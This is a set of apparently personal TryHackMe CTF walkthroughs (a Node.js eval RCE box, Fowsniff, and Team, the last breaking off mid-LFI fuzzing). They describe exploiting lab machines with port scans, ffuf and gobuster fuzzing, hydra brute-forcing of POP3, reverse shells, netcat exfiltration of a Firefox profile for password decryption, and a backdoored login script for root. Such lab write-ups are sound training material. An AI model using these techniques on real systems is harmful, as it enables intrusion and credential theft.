![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBMtf7RdM7SDUiYSnJ%2F-McBpNHExIvKgJosRw3I%2Fimage.png?alt=media\&token=ca10f8e7-ff9b-4257-8741-f223058fa6bd)

There is a `script.js` file in the end , lets check it out

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBMtf7RdM7SDUiYSnJ%2F-McBp_PZWTTkk5nK1vaO%2Fimage.png?alt=media\&token=4ccd4869-52ab-4fb4-898d-bd89c8133cb8)

Looking through the page, there is a `/api/items` page what is being fetched, lets go check it out.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBqKARyscTa2MDleA0%2F-McBqV-tTyuXQb4adErg%2Fimage.png?alt=media\&token=d23a7cf2-285a-4c24-8c12-21187f585f8c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBqKARyscTa2MDleA0%2F-McBqR8QvpWeAPRYSjT3%2Fimage.png?alt=media\&token=c0929d00-aaec-4465-b78e-e260360e5f2f)

There seems to be nothing interesting. Here I was stuck so I looked at the hint tryhackme gave us.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBqKARyscTa2MDleA0%2F-McBqvoUqbYjaWdsLn8i%2Fimage.png?alt=media\&token=6a01a1c6-f953-44b9-ac3a-80a0464609bb)

So now lets catch the request with Burp Suite and send it to repeater.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBqKARyscTa2MDleA0%2F-McBs03J6niVJ5S3wRJK%2Fimage.png?alt=media\&token=ba47fd83-9699-4c80-ae32-f3b3b78debcc)

It looks like it is using a `GET` method, lets change it to `POST`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBqKARyscTa2MDleA0%2F-McBs8fjMN0VmZvwFVPP%2Fimage.png?alt=media\&token=ef1947f0-04a7-49f4-9d1a-d030fbae4228)

We find something interesting. As this item endpoint accepts a post request too, we can try sending data to the endpoint only if we have a parameter, to do this lets fuzz the API parameter , lets use ffuf to do this.

```
ffuf -w /usr/share/wordlists/dirb/common.txt -X POST -u http://10.10.81.21/api/items?FUZZ=test -fs 45 -mc all
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McBvRXnEfPo37FJULrZ%2Fimage.png?alt=media\&token=baace960-b97c-4ad0-b0b4-9f13df0762b5)

Looks like cmd is the parameter. Lets send a post request to this endpoint using the `cmd` parameter.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McBw-pMokeezFS-V44A%2Fimage.png?alt=media\&token=64093f06-6e7c-4ca2-beab-352e2eb4bd1e)

Looking at the output of the error, we can see `eval`. I went searching on google and then found this [article ](https://medium.com/@sebnemK/node-js-rce-and-a-simple-reverse-shell-ctf-1b2de51c1a44)that gives us a breakdown of how the eval function can be exploited to gain RCE on the machine.

## Exploitation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McBxeYNXcMWC6M7zR4V%2Fimage.png?alt=media\&token=7683f39b-1155-47f7-9df5-b73494b5bbf8)

Lets use this, but with our own reverse shell, make sure to start a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McC5zDJ5lJ18N9BPSd2%2Fimage.png?alt=media\&token=88ed60d2-459c-43f5-9bd6-a21097d573b0)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McC5ck3KRVmGrWoePET%2Fimage.png?alt=media\&token=1b097454-92a9-4f81-a941-9daceaaa77fa)

Once you hit you should get this response and a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McC6DlF7DoTUjQRr_fG%2Fimage.png?alt=media\&token=f6e35c19-f4b0-414c-9dff-a0ee96899bb2)

We can stabilize the shell and read the `user.txt` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McC6x9shTX2lR2JLpZ9%2Fimage.png?alt=media\&token=a5ea87b7-3694-48df-b5a6-7910c3793b3b)

## Privilege Escalation

Looking in the home directory of user, we see this directory `.firefox`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McC79NVR1w6EioXpd5m%2Fimage.png?alt=media\&token=c7d997c4-7150-42e0-a576-cf421dd67383)

Lets see the content of the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McC7HoL6WRkaDXpnZzH%2Fimage.png?alt=media\&token=345bc81e-0f97-45e9-8339-7d458a71b898)

Looking on google I found [firefox\_decrypt](https://github.com/unode/firefox_decrypt.git). Lets clone it and then lets copy the `.firefox` directory to our machine

Lets first start a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McCCHi7pbUdqSNobqdx%2Fimage.png?alt=media\&token=d6df34f9-3af3-42e5-8627-d0405cd98fd8)

Then lets send the folder using netcat on the victim machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McCCB8J36aV7RfvRBsY%2Fimage.png?alt=media\&token=5b9f1ac7-7bf9-4f56-9bfa-244a21d540c7)

Now we should get a connection and also we should see the `.firefox` directory on our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McCCRfLmc38VejXO6A2%2Fimage.png?alt=media\&token=94d9aa49-d7b3-4069-b683-7cbf3646f696)

Now lets run the python exploit we cloned from GitHub on the directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McCCl33Uu37-l_HnlNs%2Fimage.png?alt=media\&token=f75470a0-9f28-40a2-8993-828ec12c3956)

We got a username and a password, lets switch users to v0id

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McCD6E4vUWrKs7C3HJH%2Fimage.png?alt=media\&token=0f24518a-983b-44fd-b51a-f2d5a3dc054e)

Lets now look at the `SUIDs` that we can exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McCDPT195p_br7k_C7i%2Fimage.png?alt=media\&token=b7a83aa8-08ba-463e-8aa7-679f1d09267b)

Lets look at what `doas` is&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McCDf5Wj0zYNLVP11BB%2Fimage.png?alt=media\&token=6471a492-60d1-46e5-a115-b8747f5abba9)

So we can execute command as other users, lets read the root.txt file with this command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McCE3lxKNdJINMo_ilT%2Fimage.png?alt=media\&token=bec38eb2-dfb4-4828-b046-c55068d28386)

We can also switch users to root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McBt-TBnvln9GK-9HQ0%2F-McCEFBbWVT1p5gRz7A3%2Fimage.png?alt=media\&token=87830bc5-3f05-4935-9fab-bd9ad5b48275)


# Fowsniff CTF

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAiVlCG-KwsbM_j0L8%2F-McAiaMv6VkFQkJuuY6L%2Fimage.png?alt=media\&token=a6cf8718-c308-47ae-a038-635de97c54ee)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.255.37
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McAjaTtkgWM0PN7WSJ-%2Fimage.png?alt=media\&token=82bd6b99-62f4-4964-8846-19bee25d59ee)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80,110,143
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,80,110,143 -oN nmap 10.10.255.37
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McAjj3hANNIXXz8BSD9%2Fimage.png?alt=media\&token=676523d4-2e8d-49f6-a68a-68eeaf342bad)

## Enumeration

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McAkBTfV5q72BB6oeY2%2Fimage.png?alt=media\&token=38216c19-7281-4ca4-bcc6-2e3e488c50b6)

Reading this, lets look at their twitter page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McAkQY16Z37VbOisu8g%2Fimage.png?alt=media\&token=14fd6be2-d65f-4184-97c2-5ec75f43e6a0)

Looks like we have a bunch of passwords that have been dumped. Lets go see it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McAkbh6iYFQ_oavpmDz%2Fimage.png?alt=media\&token=8b43595a-e87d-4ecf-b813-7d31b0461d3c)

Lets save these in a file called `credentials.txt`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McAksIbMDSXkapi3AzR%2Fimage.png?alt=media\&token=34d6a274-4c04-4686-bc5b-d05bacdd292a)

The hashes are `md5` so after decoding them we get their passwords. To get only the hashes in a file lets use this command.

```
sed -n 's/.*://p' credentials.txt > passwords.txt
```

Lets also get all the usernames in a file and call it `users.txt`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McAmKiyxjM7OGGZ8WK-%2Fimage.png?alt=media\&token=638b07a1-0e80-42fe-af27-265cecef22e6)

Now lets crack the passwords

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McAmVk9gqtZsBk7e8Bl%2Fimage.png?alt=media\&token=ceb2489e-c00a-4a7f-b17e-c41d83073380)

We found most of them, lets put these in the passwords list. Lets remove the 6th password and the 6th user in the user list.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McAn-s6q5f3H-1MuCAW%2Fimage.png?alt=media\&token=b08753f9-c27f-49cd-bc7a-150eaaee9cef)

Now before we start bruteforcing lets look at the robots.txt page the nmap scan told us about.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McAnEsJxdZoI8ok-X9B%2Fimage.png?alt=media\&token=4f9a0fdc-76a9-448d-9747-26d0ac2079dd)

## Exploitation

Looks like there is nothing. Lets now brute force `pop3` running on port 110.

```
hydra -L users.txt -P passwords.txt pop3://10.10.255.37
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McAoclyBtdhurGXF5fZ%2Fimage.png?alt=media\&token=81e3c2f6-2411-40c4-9750-ecf2e854f3d7)

Looks like we found the username and password, now lets login using netcat.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McAowrw1UFdfxpZxmSc%2Fimage.png?alt=media\&token=b810a4ed-0adc-4f6b-bb2d-6b4ea9ec98ab)

Lets list the files and read them

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McApE77C4vakw0w5tp4%2Fimage.png?alt=media\&token=a93a0f34-40c2-4217-ad0e-5389b4d9b7a9)

Its an email, reading through it, we have the temporary password for SSH, now lets look at the second file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McAj8m-twxKmWldyYmX%2F-McApVEZewFH2RlBZ_Nk%2Fimage.png?alt=media\&token=2dc774d5-779e-4262-b267-ae18cf6b72d2)

Reading through this email we can see that the user baksteen said that he will read the message later, indicating that the temporary password should still be the one for their account. Now lets login through ssh with the username `baksteen` and the password we just found.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McApse0PjghqqSxfPQp%2F-McAq58lJ1IzJeM73sFU%2Fimage.png?alt=media\&token=00440fdb-1c57-4f64-bd10-f400d6d4967f)

```
ssh baksteen@10.10.255.37
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McApse0PjghqqSxfPQp%2F-McAqKDdXe5QH14ZqkFf%2Fimage.png?alt=media\&token=b2fc8bae-cfc7-4e90-bfa6-2f431658c2a8)

And we are logged in.

## Privilege Escalation

Lets look at the files in the current directory and lets also check which group this use is part of.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McApse0PjghqqSxfPQp%2F-McAuQLJqqngMiapgarp%2Fimage.png?alt=media\&token=09293d8e-eba8-4ef3-919d-483efcca80cd)

Now lets look for files that this group can run

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McApse0PjghqqSxfPQp%2F-McAumVCMOWxc3XQLV6Q%2Fimage.png?alt=media\&token=6e01c90e-6254-45c2-969d-a9999f63eb0a)

The `/opt/cube/cube.sh` file looks interesting, lets read it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McApse0PjghqqSxfPQp%2F-McAux7OiiuiEIiCIHno%2Fimage.png?alt=media\&token=53cfbc0d-9325-480a-99d7-e7ed74ac60f8)

We can see that this file is run whenever a user logs into the machine, so lets edit this file to get a reverse shell and then login to the machine to run the file and get a shell.

After adding the reverse shell to the file using nano lets start a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McApse0PjghqqSxfPQp%2F-McAwTD15pTeOc9C46l3%2Fimage.png?alt=media\&token=1a4ea53e-4427-4731-90db-384f683547c0)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McApse0PjghqqSxfPQp%2F-McAvefSXLIKsMzXRCjE%2Fimage.png?alt=media\&token=43bb8c9b-6eed-41e4-9d31-ed2587c1ae8f)

Now once we try to login to ssh we get a reverse shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McApse0PjghqqSxfPQp%2F-McAwdxks4TAQnD_x3vs%2Fimage.png?alt=media\&token=fea0aff8-a017-4cca-92e5-586b62e7577c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McApse0PjghqqSxfPQp%2F-McAwhXDV7RSAOggcIqk%2Fimage.png?alt=media\&token=a96ecec5-5dc5-42d1-a0a8-e00549ef3b28)

We are root.


# Team

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5XPhjjFqEWkgsRF4W%2Fimage.png?alt=media\&token=caef6e3b-84ca-4a03-b766-2ae90ebdac62)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.255.197
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5YacPKiZerSdurkvA%2Fimage.png?alt=media\&token=cdcfc7b7-0535-4b6d-981c-633982516dad)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.255.197
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5YkZENoak7KreJAT2%2Fimage.png?alt=media\&token=13460de8-b492-4aab-bd12-dec70f80b2a9)

## Enumeration

Lets visit the site.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5YvEiHvnadryuuy5G%2Fimage.png?alt=media\&token=f3156baa-1027-4cf3-9f48-e1249df7993a)

Its the default Apache2 page, lets at the source code.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5_BKmQIbnkXxYsut-%2Fimage.png?alt=media\&token=d669c133-4958-4f82-8697-1a5ee0f9af71)

It is telling us to add `team.thm` to our hosts, lets do that.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5_MQH6411K_OIIPBH%2Fimage.png?alt=media\&token=6ef6002f-3bd0-48ad-94b0-f11041682273)

Now lets visit the page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5_ToImwlPU5D-09QQ%2Fimage.png?alt=media\&token=bd2ca9a3-a9db-4401-a2be-6f07f3b5f1cb)

Its a well made website, lets run gobuster to find hidden directories

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://team.thm/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5_y1IHdLVVljfHYaK%2Fimage.png?alt=media\&token=32da4319-6a08-4782-a85b-7e8d576284db)

Looks like we found few directories, lets run another `gobuster` scan on the scripts directory as it looks like it contains more content

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://team.thm/scripts -x txt,html,js,css,php 
```

Lets also look at the robots.txt page as we sometimes find some interesting information there.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5aOjQkfKenO7ElVV6%2Fimage.png?alt=media\&token=75571a13-2e09-489c-9b0a-c184bef8d1d1)

Looks like a username.

Lets now explore the `assets` directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5aXXfV-vgcRBWpVuG%2Fimage.png?alt=media\&token=e74645ea-3c28-4d10-9f58-7022e14cf6c2)

We are not allowed.

Lets check the `script` directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5aczC6tJguG3Jd7qS%2Fimage.png?alt=media\&token=f9f54731-54e7-4cab-8a9c-a5af7f6d4a48)

We are not allowed again.

We are allowed to access the images directory but there is nothing interesting there. We got our gobuster results back

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5chNw6euvpYKxK_UL%2Fimage.png?alt=media\&token=67779166-a8c5-42a8-a6bb-da0f7b63504c)

Lets visit this page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5co4iFTFY8RsMDJPr%2Fimage.png?alt=media\&token=b0fa52ba-1466-4eb0-bc90-d8bd47ce0799)

The note in the end tells that the extension of the old script has been changed, so lets go find it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5dCOuhiCF-Z2gaEm4%2Fimage.png?alt=media\&token=fca34669-bb20-477c-9e42-923a600e970e)

Lets download the file and read it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5dMYlArjrf0A3k_3t%2Fimage.png?alt=media\&token=e61b6876-fe94-49ce-9852-e347d80fb773)

Now we have the username and the password, lets login through ftp

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5dXC3bihah8B1HN2a%2Fimage.png?alt=media\&token=815611ed-7b65-43dc-9242-d2001c9dc786)

We are logged in, lets look at the files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5dmclu0uNAYlZyQHt%2Fimage.png?alt=media\&token=bace7afb-ead0-413c-8ebf-c8735fde33d3)

We have quite a few directories, lets first go to workshare and get the contents in it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5dvU4TqJ-95_dBwgI%2Fimage.png?alt=media\&token=eab8f008-34ed-4523-87a8-9d3d16336fa7)

Now lets go to the `.ssh` folder and get its contents

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5e3xlkRi2S6cpeGZW%2Fimage.png?alt=media\&token=5145beff-e78e-4abe-a4b7-94d00cac7b4c)

I looked at the directories and there was either nothing or was a dead end.

Now lets read the files that we transferred to our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5eoeEvfto1X7Rh-Zp%2Fimage.png?alt=media\&token=e0c95134-c525-4386-a5d0-fa7e5b5b278b)

Looks like there is another website on the web server, and we should be able to access using dev in the URL so lets add it to our hosts file and visit the site.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5fZzn5jYhsJsQJ6Zz%2Fimage.png?alt=media\&token=f2edca54-5a7b-4446-938d-6f2c344c422d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5fclvt05yooNqD_Eq%2Fimage.png?alt=media\&token=288b711f-4ee1-47f5-9db0-ba6650cd69f5)

There is nothing in the source code so lets click the link

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5XKbuhodfc9FgrWPZ%2F-Mc5gH2tznkyZA-lM3GP%2Fimage.png?alt=media\&token=e30e5b99-0a65-499d-a385-d68f8415f951)

It takes us to a different URL. And this to me screams LFI, so lets try testing some LFI payloads against it.&#x20;

## Exploitation

First lets capture the request with Burp Suite and send it to repeater so that we can try different payloads without having to request again and again.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5geUVqvWc-VBoJgGr%2F-Mc5h2q78ZvD6FqNgVDY%2Fimage.png?alt=media\&token=47cd770a-2f61-45ca-8a74-e646b9f41de6)

Now that we have the request lets experiment. Lets first look for the `/etc/passwd` file and see if we can read it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5geUVqvWc-VBoJgGr%2F-Mc5hK43yr7Wi4WQhiL-%2Fimage.png?alt=media\&token=8b2eb25d-639f-49f5-9c5b-49d5277d910d)

Oh, we can , looking back at the note we found in the ftp server, there should be a `id_rsa` file in a config file, to find this lets do some LFI Fuzzing. First we need to send the request to Intruder. (`Ctrl + i`) Now go to the Positions tab and leave it as it is.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5jqBGc_GsOMrLauBF%2Fimage.png?alt=media\&token=199598d3-04c1-4e79-8566-7e6ebbaa2565)

Now go to the Payloads tab and lets load in a wordlists to find files. The wordlists I am going to use is this.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5kNLEq9F2-4vg4Kqj%2Fimage.png?alt=media\&token=3635d2d3-bf14-4535-a8c0-322eae786304)

This can be found here on your machine

`/usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt`

Click on the load option and look for the file and then hit load, it should look like this.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5kwfy1dTQdu7FCj3q%2Fimage.png?alt=media\&token=1bef428a-d1e1-42bf-899a-4bc7364215f0)

Now hit start attack on the top, looking at the results, one file looks very interesting.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc5hxP5i0f_6o7QtPw4%2F-Mc5mWm6lqIukbNymGrp%2Fimage.png?alt=media\&token=85ada01e-a8c3-44d3-bfff-618f210b1c55)

Lets visit this page.

